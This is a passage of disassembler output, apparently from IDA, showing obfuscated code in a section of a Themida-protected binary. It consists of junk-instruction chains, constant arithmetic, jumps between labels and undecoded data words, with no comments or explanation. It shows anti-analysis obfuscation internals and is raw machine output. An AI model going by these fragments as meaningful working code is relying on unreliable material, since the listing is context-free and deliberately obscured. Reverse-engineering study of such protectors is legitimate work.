77FB61F7h, 0B92EE95Bh, 895C0000h dd 6851242Ch, 2, 1D3FE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5108CA: ; CODE XREF: Themida_:00523156j mov ebp, 401773ECh add ebp, 0BFE88C15h mov edi, ebp pop ebp push esi mov esi, 4E751798h add [esp+8], esi pop esi add [esp+4], edi push eax push ebp mov ebp, 40A845A9h xor ebp, 1D866921h not ebp jmp loc_51D8F6 ; --------------------------------------------------------------------------- db 53h dd 0DFF6ACB7h, 75B8E9h db 0 ; --------------------------------------------------------------------------- loc_510905: ; CODE XREF: Themida_:0051657Aj mov dl, bl jmp loc_51FB9A ; --------------------------------------------------------------------------- dd 6824048Bh, 0F42h, 0E9240C89h, 12224h, 240C8B66h, 0B58E953h dd 0D0010001h, 0EEB4E9h, 87D3F700h, 4BBEE9DEh, 0C4830000h dd 986DE904h, 0ED810000h, 50C039DCh, 5C42BE56h, 0F6811BB3h dd 2650470Fh, 9896E9h, 1DABE00h, 74315C9Eh, 34FF0424h dd 0C4835E24h, 0DF17E904h, 0BE560000h, 119A7DD2h, 6CB3E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_510976: ; CODE XREF: Themida_:00512CD0j push esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_513772 ; --------------------------------------------------------------------------- aXQ db 'Áå',7,'Q¹',0 dw 0E796h dd 8BCD3178h, 2FE9240Ch db 0Eh, 1, 0 ; --------------------------------------------------------------------------- loc_510997: ; CODE XREF: Themida_:00512669j pop edx jmp loc_522BF8 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 53000000h, 4BA52h, 0D3890000h, 5FACE9h, 0E9E18800h dd 4651h ; --------------------------------------------------------------------------- loc_5109B8: ; CODE XREF: Themida_:0051BC1Aj add ebx, 2ADE06C6h pop ecx xor edx, eax jmp loc_51EB02 ; --------------------------------------------------------------------------- dw 1C2Ch dd 0BA340424h, 8058C688h, 0BE96CC6h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5109D7: ; CODE XREF: Themida_:0051E0E8j pop esp add esp, 4 xchg ebx, [esp] mov esp, [esp] or edx, eax jmp loc_5193E6 ; --------------------------------------------------------------------------- loc_5109E8: ; CODE XREF: Themida_:005238FAj neg ebx add ebx, 9B2D4C51h mov eax, ebx pop ebx add ecx, eax jmp loc_518BDE ; --------------------------------------------------------------------------- dw 0E952h dd 132ABh, 8324048Bh, 2C3304C4h, 242C3124h, 112F7E9h, 0F2805800h dd 84A8E99Dh, 0E7810000h, 3B902A9Fh, 0AAEC781h, 0FA01459Ch dd 81243C8Bh, 4C4h, 0C33E900h, 0F2810001h, 6D634B48h, 3B6EBD55h dd 31E91109h db 38h, 1, 0 ; --------------------------------------------------------------------------- loc_510A47: ; CODE XREF: Themida_:0051F747j mov edx, 4 sub edi, 0AAC470Ah jmp loc_5130C7 ; --------------------------------------------------------------------------- loc_510A57: ; CODE XREF: Themida_:00515271j push eax jmp loc_524325 ; --------------------------------------------------------------------------- loc_510A5D: ; CODE XREF: Themida_:005167C4j add ebx, esi pop esi xor ebx, 78366CCFh sub esp, 4 mov [esp], ebx xor dword ptr [esp], 5602602Eh pop ecx jmp loc_51E5DA ; --------------------------------------------------------------------------- loc_510A7C: ; CODE XREF: Themida_:0051C023j mov esp, [esp] jmp loc_522E2D ; --------------------------------------------------------------------------- dd 0E92434FFh, 7CE1h, 3898ED81h, 0EDC11B3Ah, 0D5F74D06h dd 453D68h, 241C8900h, 3C5B6857h, 0F75F763Eh, 0DFF74FD7h dd 3644C781h, 0EBE9E0F6h, 0F70000DCh, 13C135D0h, 0DF35059Eh dd 0E94C099Eh, 13B2Bh, 25A2C381h, 0EB8126EDh, 44C0E25h dd 0C381CB01h, 44C0E25h, 340D6856h, 1C890000h, 14196824h dd 7E906ABh, 56000053h, 831C86BEh, 82F6814Ch, 0E94C831Ch dd 0C2D6h, 505BDF89h, 2051E957h, 0E95C0000h, 423h, 0F596E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_510B16: ; CODE XREF: Themida_:00513870j mov ecx, 64C37E8Bh or ecx, 239030E6h sub ecx, 5B7B052Bh or ebx, ecx pop ecx shr ebx, 2 jmp loc_51FF63 ; --------------------------------------------------------------------------- dw 0E959h dd 492h ; --------------------------------------------------------------------------- loc_510B38: ; CODE XREF: Themida_:00518140j mov bl, [esp] push eax jmp loc_51409A ; --------------------------------------------------------------------------- db 83h, 0C7h, 4 dd 0B82EE9h db 0 ; --------------------------------------------------------------------------- loc_510B49: ; CODE XREF: Themida_:0051124Ej push 165Ah mov [esp], esp add dword ptr [esp], 4 jmp loc_521E0F ; --------------------------------------------------------------------------- db 53h, 0B3h, 2Bh dd 885BDA88h, 6DE95AD3h, 0C000013Fh, 516606E4h, 2359E9h db 0 ; --------------------------------------------------------------------------- loc_510B75: ; CODE XREF: Themida_:0051B278j pop ebx dec ecx shl ecx, 6 jmp loc_515324 ; --------------------------------------------------------------------------- loc_510B7F: ; CODE XREF: Themida_:005176F1j add ebx, 0BA185BBAh jmp loc_51002A ; --------------------------------------------------------------------------- dw 0F281h dd 72C3B17Fh, 0D6EEE9h db 0 ; --------------------------------------------------------------------------- loc_510B95: ; CODE XREF: Themida_:00519E03j push esi mov esi, esp add esi, 4 push ebx mov ebx, 4 add esi, ebx jmp loc_515343 ; --------------------------------------------------------------------------- aYhj2 db 'YhJ2',0 dd 24048900h, 0FFEB53E9h, 0C8758FFh, 0EE40E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510BC2: ; CODE XREF: Themida_:00513BCAj pop edx xor ebp, eax pop eax and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 12h xor eax, ecx sub esp, 4 jmp loc_51A398 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 110E4E9h, 44015800h, 34FF0424h, 24048B24h, 8904EC83h dd 0CE92414h, 5200010Fh, 42A9E950h, 0E2890001h, 4C281h dd 0E9570000h, 0FFFFF715h ; --------------------------------------------------------------------------- loc_510C14: ; CODE XREF: Themida_:0052097Fj add esp, 4 add edx, 48723C9h or edx, 5183056Dh add edx, 0FFFFFFFFh and edx, 2C8B4B8Dh sub edx, 2083090Ch and ecx, edx push dword ptr [esp] pop edx push ecx push esp pop ecx jmp loc_520B66 ; --------------------------------------------------------------------------- loc_510C43: ; CODE XREF: Themida_:005100F2j mov bh, dl jmp loc_51CC7F ; --------------------------------------------------------------------------- dw 0E956h dd 6CF0h, 0A17EF81h, 0FD891C61h, 112A3E9h db 0 ; --------------------------------------------------------------------------- loc_510C5D: ; CODE XREF: Themida_:00518ADEj push ebx push ecx jmp loc_514200 ; --------------------------------------------------------------------------- dd 0EC83F588h, 241C8904h, 7B8E9h, 0B7C38100h, 8B122D56h dd 0CBE92414h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510C7F: ; CODE XREF: Themida_:00518F9Ej pop esp mov [esp], edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_51043E ; --------------------------------------------------------------------------- loc_510C96: ; CODE XREF: Themida_:0052430Fj sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5108A2 ; --------------------------------------------------------------------------- dw 0C083h dd 324BE904h, 0F8680001h, 0E900004Ch, 0B544h, 5A74C380h dd 0C380CB28h, 0C8B59F3h, 1DE95524h, 590000D0h, 11959E9h dd 24048100h, 438D7C3Ah, 81240C8Bh, 4C4h, 3AE98100h, 5E438D7Ch dd 0CEE9CF29h, 0CDh, 240C8BCCh, 3FB7E9h, 24248B00h, 4EC81h dd 60E90000h, 0BE0000D8h, 2, 685EF301h, 2C5Ch, 0E9241C89h dd 23CAh, 95E3B850h, 6EE9C537h, 10000B8h, 5FF8E9C8h db 2 dup(0), 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_518673 ; --------------------------------------------------------------------------- db 5Ah dd 5604C483h, 2C0281BEh, 4BCE815Dh, 0F7250917h, 0F68146DEh dd 8398D1C3h, 1BE9F231h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510D5B: ; CODE XREF: Themida_:0051FC9Aj push esi mov esi, esp jmp loc_517B3F ; --------------------------------------------------------------------------- db 0BAh dd 73296A00h, 148BD601h, 4C48124h, 31000000h, 0F2815EF2h dd 0FE3BD4A7h, 895AD501h, 242C8BEFh, 4C481h, 0F8290000h dd 8D87E9h, 0EC815000h, 4, 1F94E9h, 242C8700h, 0E966E95Ch dd 1C87FFFFh, 14F75324h, 2C21E924h, 48F0000h, 24248B24h dd 52C8B60Fh, 15E9E289h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510DC3: ; CODE XREF: Themida_:005155B8j xor ecx, ebp pop ebp add ebp, ecx jmp loc_5178A1 ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 2474FF50h, 48F5804h, 0CC85E924h, 815E0000h, 6C4966EFh dd 81F7011Dh, 6C4966C7h, 3C335E1Dh, 243C3124h, 0E9243C33h dd 0AC54h ; --------------------------------------------------------------------------- loc_510DFC: ; CODE XREF: Themida_:00510606j mov esi, 3E1A237Eh add ecx, esi pop esi or ecx, 71FF6A53h add ecx, 4B2EF93Fh add edx, 6F5B6B0Ah sub edx, 1E7951C4h sub edx, ecx add edx, 1E7951C4h sub edx, 6F5B6B0Ah push dword ptr [esp] pop ecx add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx jmp loc_50F805 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0CFh dd 81CE7389h, 1D738EEDh, 81D52974h, 1D738EC5h, 68EFE974h dd 3C870000h, 0BB535C24h, 23663DDAh, 5890BD55h, 0EDC11672h dd 81E5D108h, 4356E0C5h, 37F58101h, 0E949A346h, 12878h dd 664AC480h, 30A4B753h, 1C8B66FCh, 2C48124h, 0FE000000h dd 0E76CE9CCh, 0E9530000h, 1352h, 0BE243489h, 3CCA7811h dd 1986E9h, 4B95100h, 81000000h, 0CB04246Ch, 1331334h dd 0E904244Ch, 5373h, 211CF781h, 0C7814E9Dh, 0B147D3C6h dd 295FF889h, 18CAE9C6h db 1, 0 ; --------------------------------------------------------------------------- loc_510EE2: ; CODE XREF: Themida_:00520B9Fj add edi, 4 xchg edi, [esp] jmp loc_5230F8 ; --------------------------------------------------------------------------- db 83h, 0C0h, 4 dd 5C240487h, 53B5E9h, 0E784B900h, 0CA31EFEEh, 0CDEB8159h dd 1724672h, 4EC83D3h, 0A24EE9h, 31D66800h, 4890000h, 0AF7E924h dd 0E6250000h, 526F514h, 75FC6B6Ch, 0DA0FB951h, 0D4E96541h dd 8400001Fh, 0D1E99CC8h, 0FFFFFFE7h, 0E9582434h, 0ACh ; --------------------------------------------------------------------------- loc_510F44: ; CODE XREF: Themida_:0052047Cj pop edi add eax, 72984D78h push ecx mov ecx, 0B28C08B0h xor eax, ecx pop ecx sub edx, eax push dword ptr [esp] jmp loc_5201FE ; --------------------------------------------------------------------------- loc_510F5D: ; CODE XREF: Themida_:0051593Aj add ebp, 4 jmp loc_51383F ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 push 5518h jmp loc_51D77A ; --------------------------------------------------------------------------- loc_510F87: ; CODE XREF: Themida_:0051382Fj add ebp, 75963F4Bh jmp loc_51AA07 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0B0E90000h, 8B000041h, 0C0E9242Ch, 0B700007Fh dd 0E9DFF6A2h, 0FFFFF621h, 0FDE9F800h, 8100012Ah, 715F04EBh dd 348B5A00h, 4C48324h, 1C13E955h, 0BA520000h, 4201BADh dd 5F42EA81h, 0EA81096Eh, 0FAB1BC67h, 0ACE9D301h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510FE3: ; CODE XREF: Themida_:0052502Cj neg ecx push ebx mov ebx, 0F704275h jmp loc_515BE1 ; --------------------------------------------------------------------------- dd 7CD568h, 243C8900h, 0C781E789h, 4, 53D4B951h, 0C9811BD9h dd 45AF4F9Ah, 0C3AEE9h db 0 ; --------------------------------------------------------------------------- loc_511011: ; CODE XREF: Themida_:00523487j xchg ebx, [esp] pop esp sub [edi+24h], esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_511034: ; CODE XREF: Themida_:00524AB0j push 30Eh mov [esp], ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_523930 ; --------------------------------------------------------------------------- dd 0E7895759h, 4C781h, 0C7830000h, 243C8704h, 0E144E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_51106A: ; CODE XREF: Themida_:0051E742j add esp, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [edi+24h] jmp loc_518A47 ; --------------------------------------------------------------------------- loc_51107B: ; CODE XREF: Themida_:00520948j pop ebp xor ecx, [esp] jmp loc_514652 ; --------------------------------------------------------------------------- aXst db 'XéT>',0 align 2 dw 0EC81h dd 2, 241C8966h, 0DA0085B3h, 1C8B5B66h, 4C48324h, 8933E9h dd 2474FF00h, 2434FF04h, 7158E9h, 5379B900h, 0EBE97E3Fh dd 810000B4h, 3C74AC7h, 9FC68143h, 14FFF7Eh, 9FBD55FEh dd 0E94FFF7Eh, 118EDh, 0E2C1DAF7h, 7CEA8102h, 0E96DF381h dd 12D47h, 0F04C483h, 48DC0B6h, 0AC46887h, 34890000h, 0E95E5424h dd 0E580h, 77414A2Dh, 3AE95969h, 810000F4h, 0A54F75C5h dd 0F552E98Eh, 489FFFFh, 5585424h, 4, 8704C083h, 575C2404h dd 0F7DAE954h, 0B4500000h, 0FD56E9B3h, 815EFFFFh, 406190C7h dd 5FFA2904h, 0F281D2F7h, 0D28CFD5Bh, 0F5AD701h, 34FFC0B6h dd 53575687h, 897DD068h, 0EBC15B53h, 0A6E38107h, 8154D21Bh dd 0EA9A9EBh, 5BDF898Dh, 535FFE89h, 0FFFFFFBBh, 5BDE01FFh dd 3C54E681h, 0EC830B50h, 242C8904h, 502454BDh, 0D5BA5203h dd 0C13D3B23h, 0EAC106E2h, 177BE904h, 0C890000h, 6C2FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51119E: ; CODE XREF: Themida_:00513A3Aj add esp, 4 jmp loc_520A18 ; --------------------------------------------------------------------------- loc_5111A6: ; CODE XREF: Themida_:00522009j not ecx xor ecx, 29BA0F3Fh inc ecx jmp loc_51CC00 ; --------------------------------------------------------------------------- loc_5111B4: ; CODE XREF: Themida_:00520624j push 1C685874h pop ecx dec ecx jmp loc_51B920 ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 0EF11E904h, 8B660000h, 0C368240Ch dd 0E9000030h, 10CD5h, 815DEF21h, 9F5271F7h, 0B091E939h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5111EA: ; CODE XREF: Themida_:0051E045j push ecx jmp loc_517970 ; --------------------------------------------------------------------------- dd 243C8B54h, 8104C483h, 4C7h, 1ADF6800h, 74E90000h, 8800011Ch dd 0FC3058C7h, 1099BE9h db 0 ; --------------------------------------------------------------------------- loc_511211: ; CODE XREF: Themida_:0051CEC0j not ebx shl ebx, 3 push edi mov edi, 7985281h jmp loc_51967D ; --------------------------------------------------------------------------- loc_511221: ; CODE XREF: Themida_:00511316j add edi, 4 xchg edi, [esp] pop esp mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_519819 ; --------------------------------------------------------------------------- db 68h, 0Eh, 17h dd 0C890000h, 83F18824h, 3CE904ECh db 1Eh, 1, 0 ; --------------------------------------------------------------------------- loc_51124B: ; CODE XREF: Themida_:0050F95Dj mov [esp], edi jmp loc_510B49 ; --------------------------------------------------------------------------- db 0C1h dd 0EC8102EEh, 4, 0B9240C89h, 1FDADDFEh, 959CE29h, 34FF1C77h dd 24348B24h, 0E904C483h, 64E1h, 83242C8Bh, 0C58104C4h dd 0B62B108Eh, 575DEF89h, 59E95F59h, 25000055h, 454741B4h dd 3418035h, 0E8C38101h, 1238B3Eh, 0E8EB81C3h, 8B238B3Eh dd 0C4832404h, 4FE6804h, 1C890000h, 0C6E2E924h, 0EED10000h dd 0E903EEC1h, 55FAh ; --------------------------------------------------------------------------- loc_5112C4: ; CODE XREF: Themida_:0051E1EAj mov [esp], eax push esp pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp loc_5112DB: ; CODE XREF: Themida_:005205D5j sub esp, 4 mov [esp], ebp push 0B20h mov [esp], ebx push esi push eax mov eax, 8035395h inc eax shr eax, 6 xor eax, 56851E1Eh not eax add eax, 966F28AEh mov esi, eax pop eax add [esp+4], esi mov esi, [esp] push edi mov edi, esp add edi, 4 jmp loc_511221 ; --------------------------------------------------------------------------- db 0BEh dd 72AF4287h, 7AE6E681h, 0F6817714h, 72044282h, 555EF301h dd 51A8BA52h, 0EA81618Ah, 1C945E2Bh, 48AFBE56h, 0CAE90318h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511347: ; CODE XREF: Themida_:0051B150j add edi, 338A7BC4h sub edi, ebp sub edi, 338A7BC4h mov ebp, [esp] add esp, 4 push 2468h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_51994B ; --------------------------------------------------------------------------- dw 0EF81h dd 1FD476E7h, 0BE56D701h, 3D7B2B03h, 1396EE9h, 0F7D3F700h dd 0E9DBF7DBh, 1277Ah, 0D8003DB3h, 15E95B66h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5113A3: ; CODE XREF: Themida_:0051D393j neg edx jmp loc_512C6C ; --------------------------------------------------------------------------- loc_5113AA: ; CODE XREF: Themida_:00523238j push ebx push dword ptr [esp] pop edi add esp, 4 push edi jmp loc_5114F5 ; --------------------------------------------------------------------------- dd 33241431h, 895C2414h, 4BD242Ch, 29000000h, 242C8BEAh dd 5CB3E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5113D2: ; CODE XREF: Themida_:00523353j shl ecx, 5 sub ecx, 51C92CFFh push esi mov esi, ecx mov [ebx], esi pop esi mov ecx, [esp] add esp, 4 jmp loc_51C18A ; --------------------------------------------------------------------------- dd offset loc_418766+2 align 4 dd 0C659E9h db 0 ; --------------------------------------------------------------------------- loc_5113F9: ; CODE XREF: Themida_:00524749j jmp loc_50F70C ; --------------------------------------------------------------------------- dw 1C87h dd 24248B24h, 83241489h, 0E95404ECh, 7A3Fh, 582434FFh dd 1E75E951h, 3C890000h, 89EF8924h, 243C8BFAh, 9F68E9h dd 88EF8800h, 5A595BF8h, 8621E9h db 0 ; --------------------------------------------------------------------------- loc_511435: ; CODE XREF: Themida_:005216F1j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] jmp loc_522907 ; --------------------------------------------------------------------------- loc_51144C: ; CODE XREF: Themida_:005107F4j push dword ptr [esp] jmp loc_50FDC4 ; --------------------------------------------------------------------------- loc_511454: ; CODE XREF: Themida_:0051B645j sub bl, ah jmp loc_5217BA ; --------------------------------------------------------------------------- db 5Ah dd 0FFC3805Ah, 4AAC380h, 0B753663Ch, 0E9F800F0h, 9F72h dd 4240483h, 1593E9h db 0 ; --------------------------------------------------------------------------- loc_511479: ; CODE XREF: Themida_:00519B96j pop ecx add ebp, esi mov esi, [esp] add esp, 4 jmp loc_51DC8B ; --------------------------------------------------------------------------- db 66h dd 8966DF89h, 89665FF9h, 8B6659CEh, 8951241Ch, 4C181E1h dd 81000000h, 2C1h, 46F0E900h, 0C890000h, 81595424h, 4C1h dd 4C18300h, 5C240C87h, 3B6668h, 24148900h, 4BAh, 1AEE8100h dd 8108456Eh, 9C22CFEEh, 81D60140h, 9C22CFC6h, 1AC68140h dd 5A08456Eh, 4EC81h, 19E90000h, 57000079h, 91F3E9h db 0 ; --------------------------------------------------------------------------- loc_5114F5: ; CODE XREF: Themida_:005113B3j push edx push 28DC1358h pop edx xor [esp+4], edx push dword ptr [esp] pop edx jmp loc_51C663 ; --------------------------------------------------------------------------- loc_511509: ; CODE XREF: Themida_:005154E8j push edx mov dl, 8 xor dl, 5Eh add dl, 0CEh jmp loc_513512 ; --------------------------------------------------------------------------- db 68h dd 61C8h, 0E9243489h, 91DCh, 24048B66h, 81E78957h, 4C7h dd 4EC8300h, 0E9242C89h, 0FC05h, 81242C8Bh, 4C4h, 74FF5600h dd 3DE90424h, 5B000139h, 8B24048Fh, 4892424h, 0C6E95424h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51155F: ; CODE XREF: Themida_:005173BDj pop ebp add esp, 4 add ebp, 9426F25Bh add eax, 35CF0826h add eax, ebp sub eax, 35CF0826h pop ebp jmp loc_5216EC ; --------------------------------------------------------------------------- db 53h dd 466C9EBBh, 5BD88975h, 8958C231h, 24148BD6h, 0ED64E956h dd 0E951FFFFh, 1CB9h ; --------------------------------------------------------------------------- loc_511598: ; CODE XREF: Themida_:0051C0B6j push ecx mov ecx, 4 sub ebx, 0F3605B3h add ebx, ecx add ebx, 0F3605B3h pop ecx add ebx, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_51F175 ; --------------------------------------------------------------------------- a_hp db '_hP ',0 align 4 dd 0BF243C89h, 0DD23640h, 13B0F781h, 0FE0117FAh, 1BCCE95Fh dd 1C8B0000h, 4C48124h, 52000000h, 0C281E289h, 4, 8704EA83h dd 0E95C2414h, 0A4A1h, 0E981D901h, 446C17A3h, 240C875Bh dd 94C6E9h, 24343300h, 33243431h, 248B2434h, 66F9F624h dd 0E9CCB60Fh, 7A73h, 4C481h, 0E0E90000h, 5A00011Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 46ECh mov [esp], ebx mov ebx, 13DD349h add eax, ebx push dword ptr [esp] mov ebx, [esp] push eax mov eax, esp push edi mov edi, 51C85CB2h neg edi inc edi neg edi jmp loc_518853 ; --------------------------------------------------------------------------- loc_51166E: ; CODE XREF: Themida_:0051E2FCj shl cl, 7 shr cl, 1 shr cl, 2 sub cl, 5Bh xor cl, 90h neg cl jmp loc_519669 ; --------------------------------------------------------------------------- db 8Fh dd 4812404h, 424h, 0D7685E00h, 8900001Fh, 4BF243Ch, 0E9000000h dd 536Dh, 24148966h, 0EE80B1B6h, 485AE9E8h, 0EE810000h dd 0FFFFFFFFh, 432B951h, 0E9814BF7h, 0D976A6DDh, 4AE9CE31h dd 83000043h, 148904ECh, 3819E924h, 0C7810001h, 4, 4EF81h dd 3C870000h, 59E95C24h, 8900006Ch, 5FF989DFh, 53D9F75Bh dd 9D2A97BBh, 5BD9212Fh, 5D545550h, 3E9CE9h db 0 ; --------------------------------------------------------------------------- loc_511701: ; CODE XREF: Themida_:00512694j sub eax, ebx pop ebx xor eax, [esp] xor [esp], eax jmp loc_51E132 ; --------------------------------------------------------------------------- loc_51170F: ; CODE XREF: Themida_:0051C719j mov [esp], ebx jmp loc_51E8E6 ; --------------------------------------------------------------------------- loc_511717: ; CODE XREF: Themida_:00520722j mov ebx, esp add ebx, 4 sub ebx, 4 push 5358h jmp loc_51F360 ; --------------------------------------------------------------------------- db 28h dd 17ED80D5h, 5A88C580h, 0F6A5E580h, 0F82DE9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511742: ; CODE XREF: Themida_:0051D4A7j mov [esp], eax push dword ptr [esp+4] jmp loc_5193A2 ; --------------------------------------------------------------------------- dw 515Ch dd 0C181E189h, 4, 8704E983h, 0DEE9240Ch, 0BDh, 148B66D0h dd 2C48324h, 0A4E6E9h db 0 ; --------------------------------------------------------------------------- loc_511771: ; CODE XREF: Themida_:0050FFB7j mov [esp], ecx mov cl, 7Ah add cl, 21h jmp loc_51EA69 ; --------------------------------------------------------------------------- dw 0B868h dd 0E900001Ah, 12A83h, 0FFDF7FE9h, 0C3815FFFh, 33A83FA6h dd 0E79C381h, 0C3013395h, 0E79EB81h, 10E93395h, 5000007Fh dd 0EC1E9h, 45D5F700h, 7E4CC581h, 0EF896A3Ch, 7FC1E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5117BE: ; CODE XREF: Themida_:005130E5j mov ch, al mov al, [esp+2] mov [esp+2], ch mov cx, [esp] add esp, 2 jmp loc_524E69 ; --------------------------------------------------------------------------- db 80h dd 0D30077EAh, 80E3005Ah, 8B66D9EBh, 0C4812404h, 2, 0FFC0B60Fh dd 0E9558734h, 27BFh ; --------------------------------------------------------------------------- loc_5117F8: ; CODE XREF: Themida_:00518AE7j pop esp jmp loc_51A752 ; --------------------------------------------------------------------------- loc_5117FE: ; CODE XREF: Themida_:00511E8Aj push 4FFCh mov [esp], edx mov edx, 109226C0h xor edx, 9FAD150h add edi, edx pop edx or edi, 4C2A57AEh xor edi, 3D0F1D01h xchg eax, edi push eax not dword ptr [esp] pop eax xchg eax, edi xor edi, 0DFFC89EFh and esi, edi pop edi push ecx mov ecx, 5E145706h sub esp, 4 mov [esp], ebp mov ebp, 6DC15834h jmp loc_5243CD ; --------------------------------------------------------------------------- loc_511846: ; CODE XREF: Themida_:0051439Cj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 0D67AEF09h sub ecx, 34EE7176h sub ecx, eax add ecx, 34EE7176h push dword ptr [esp] jmp loc_5180E2 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 2AE95704h, 56FFFFF8h, 1197AE9h db 0 ; --------------------------------------------------------------------------- loc_511881: ; CODE XREF: Themida_:0051B2F3j sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp] pop esp push eax mov ah, 73h jmp loc_5211EB ; --------------------------------------------------------------------------- dw 0BF57h dd 1C054EE2h, 0E9FA8952h, 91FFh, 62BF575Dh, 81346267h dd 62675EEFh, 0E9FE0134h, 7D98h, 8B24048Fh, 0D0682424h dd 89000008h, 0BEE92414h, 5CFFFFF4h, 6CD0E9h db 0 ; --------------------------------------------------------------------------- loc_5118D9: ; CODE XREF: Themida_:00520CB5j mov [esp], ebp jmp loc_51C520 ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 37BAh ; --------------------------------------------------------------------------- loc_5118E8: ; CODE XREF: Themida_:00512018j pop ecx pop esi jmp loc_524080 ; --------------------------------------------------------------------------- loc_5118EF: ; CODE XREF: Themida_:0051BEF0j inc eax neg eax jmp loc_50FC6B ; --------------------------------------------------------------------------- db 35h dd 59F3787Ch, 8358C301h, 1C8704EBh, 3630E924h, 0EC810000h dd 4, 0B1240C89h, 346DE9C2h, 0ABD0000h, 8962F972h, 98A1E9EFh dd 0BE560000h, 0C171C57h, 0EE814E4Eh, 63895BFCh, 0C055BA52h dd 0D629A88Dh, 34E9E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_511942: ; CODE XREF: Themida_:0051769Fj pop esi jmp loc_51B6F5 ; --------------------------------------------------------------------------- dd 405h, 2E88300h, 2474FF50h, 48F5804h, 59E95C24h db 2 dup(1), 0 ; --------------------------------------------------------------------------- loc_51195F: ; CODE XREF: Themida_:005201A8j add eax, 4 push 437Eh mov [esp], esi push 4 pop esi push edi mov edi, 73A816D0h neg edi xor edi, 8439E1ACh jmp loc_5156DB ; --------------------------------------------------------------------------- db 1, 0FAh, 5Fh dd 7309E9h, 7234BF00h, 0DF310BDAh, 0D7F7475Bh, 0A4EBE9h dd 0D9CD8000h, 0DDF6D5F6h, 0E9D7ED80h, 0C4D6h ; --------------------------------------------------------------------------- loc_5119AC: ; CODE XREF: Themida_:00520403j sub ebx, 46803335h and ebx, 7F5E12A4h jmp loc_5185C6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F7000000h, 0EC8395D0h, 241C8904h, 0FFE994E9h, 0BFBE56FFh dd 812F1B34h, 0E4CB45C6h, 8BF201D0h, 0C4832434h, 74FF5204h dd 148B0424h, 4C48124h, 8F000000h, 248B2404h, 68E1F724h dd 58C5h, 4D7E9h db 0 ; --------------------------------------------------------------------------- loc_511A05: ; CODE XREF: Themida_:00524EC5j push esi mov esi, 0BAF1D7Dh dec esi xchg ebp, esi not ebp jmp loc_517133 ; --------------------------------------------------------------------------- db 0B4h, 49h, 0C0h dd 0C48004ECh, 0A8EC80F3h, 0EAE9E288h, 81FFFFEFh, 4ECh dd 208AE900h db 1, 0 ; --------------------------------------------------------------------------- loc_511A32: ; CODE XREF: Themida_:00515A43j pop dword ptr [esp] pop esp jmp loc_513316 ; --------------------------------------------------------------------------- db 81h dd 1C2h, 50EAD100h, 80C5E9h, 2C18100h, 51000000h, 42474FFh dd 81240C8Bh, 4C4h, 24048F00h, 0D324248Bh, 0E99C2424h dd 0FFFFDCA0h, 762BD4BEh, 8E4E926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511A76: ; CODE XREF: Themida_:00519E61j sub esp, 4 jmp loc_51CC39 ; --------------------------------------------------------------------------- dw 0EC83h dd 0F220E904h, 81510000h, 4ECh, 24048900h, 0BC7495B8h dd 589B250Ah, 10503F0h, 2D000000h, 0B3BD19B6h, 8E9C189h dd 20000106h, 0E99C2404h, 0FFFFDC58h ; --------------------------------------------------------------------------- loc_511AB4: ; CODE XREF: Themida_:00515BA9j add dh, 0FFh jmp loc_52275C ; --------------------------------------------------------------------------- dd 0B8240489h, 2, 8A05E9h, 24248B00h, 0E9240C89h, 6281h dd 0D187D2F7h, 68FEBB53h, 54E95FF8h, 89000023h, 87E9241Ch db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- 